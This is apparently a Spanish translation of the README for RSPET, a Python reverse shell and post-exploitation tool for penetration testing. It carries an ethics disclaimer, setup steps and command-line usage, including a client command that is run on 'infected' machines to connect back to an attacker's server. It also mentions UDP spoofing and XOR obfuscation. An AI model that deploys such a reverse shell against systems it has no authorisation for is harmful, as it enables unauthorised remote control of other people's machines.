
RSPET (Reverse Shell and Post Exploitation Tool) es una reverse shell basada en Python equipada con funcionalidades que asisten en un escenario de post-explotación.
RSPET (Reverse Shell and Post Exploitation Tool) es un reverse shell basado en Python equipado con funcionalidades que asisten en un escenario de post-explotación.
AVISO: Este software se proporciona con fines educativos y de Penetration Testing y como prueba de concepto. El/los desarrollador(es) no respaldan, incitan ni apoyan de ninguna otra forma el acceso no autorizado a ordenadores y la interrupción de redes.
NOTA: La carpeta min ha sido eliminada. La sobrecarga adicional de mantener dos versiones llevó a que min no recibiera correcciones de errores y actualizaciones importantes. Si hay interés, tanto en usar como en mantener una versión más básica y simplista, se creará una nueva rama para albergarla.
Versión Actual: v0.3.1
Sigue: @TheRSPET en Twitter para actualizaciones.
Documentación: rspet.readthedocs.io
*[1]La idea de usar XOR así como el esqueleto del cliente provino de primalsecurity.net, así que si te gusta este conjunto de scripts probablemente te encantará lo que hacen
*[2]La suplantación UDP usa RAW_SOCKETS, por lo que para utilizarlo, el cliente debe ejecutarse en un SO que soporte RAW_SOCKETS (la mayoría basados en Unix) y con privilegios de root. Finalmente, la mayoría de los ISP tienen implementaciones que descartarán o reestructurarán los paquetes suplantados
*[3]Nuevamente revisa la excelente publicación del blog de primalsecurity.net sobre cómo producir un .exe
*[4]¡Documentación detallada sobre la creación de plugins disponible en la Documentación en línea!
rspet_server.py está situado en la máquina del atacante y se ejecuta para aceptar conexionesrspet_client.py está situado en la(s) máquina(s) infectada(s) e iniciará la conexión y esperará entrada.Ejecutar ./setup.py mientras se está en la carpeta raíz del proyecto generará los certificados requeridos e instalará todos los componentes necesarios a través de pip.
Por supuesto, puedes instalar manualmente los paquetes pip requeridos ejecutando pip2 install Flask flask-cors.
También puedes generar tu propio conjunto de clave-certificado (solo nómbralos server.key y server.crt y colócalos dentro de la carpeta Server).
python rspet_server.py [-c #clients, --ip ipToBind, -p portToBind]
max_connections por defecto es 5 si se deja en blanco
RESTful API:
python rspet_server_api.py [-c #clients, --ip ipToBind, -p portToBind]
Cliente:
python rspet_client.py <server_ip> [server_port]
Se pueden hacer muchos cambios para adaptarse a necesidades individuales.
Como siempre, si tienes alguna sugerencia, informe de error o queja, no dudes en contactarme.
Una lista de distribuciones que contienen RSPET
List_HostsEste proyecto sigue la Guía de estilo de Python de Google con una variación menor en el uso de espacios en blanco para alinear los tokens ':'.
Este proyecto está abierto a contribuyentes. Si has implementado una nueva característica, o tal vez una mejora al código actual, no dudes en abrir un pull request. Si quieres sugerir una nueva característica, abre un issue. Además, se necesitan probadores para ejecutar algunos escenarios estándar (y tal vez algunos propios) para disminuir la posibilidad de que un error se deslice en una nueva versión. Si hay interés en las pruebas, se creará una rama beta (donde se subirá el código a probar) junto con una lista de escenarios. Para una guía completa sobre oportunidades y guías de contribución, consulta el capítulo "Contributing" en la Documentación en línea de RSPET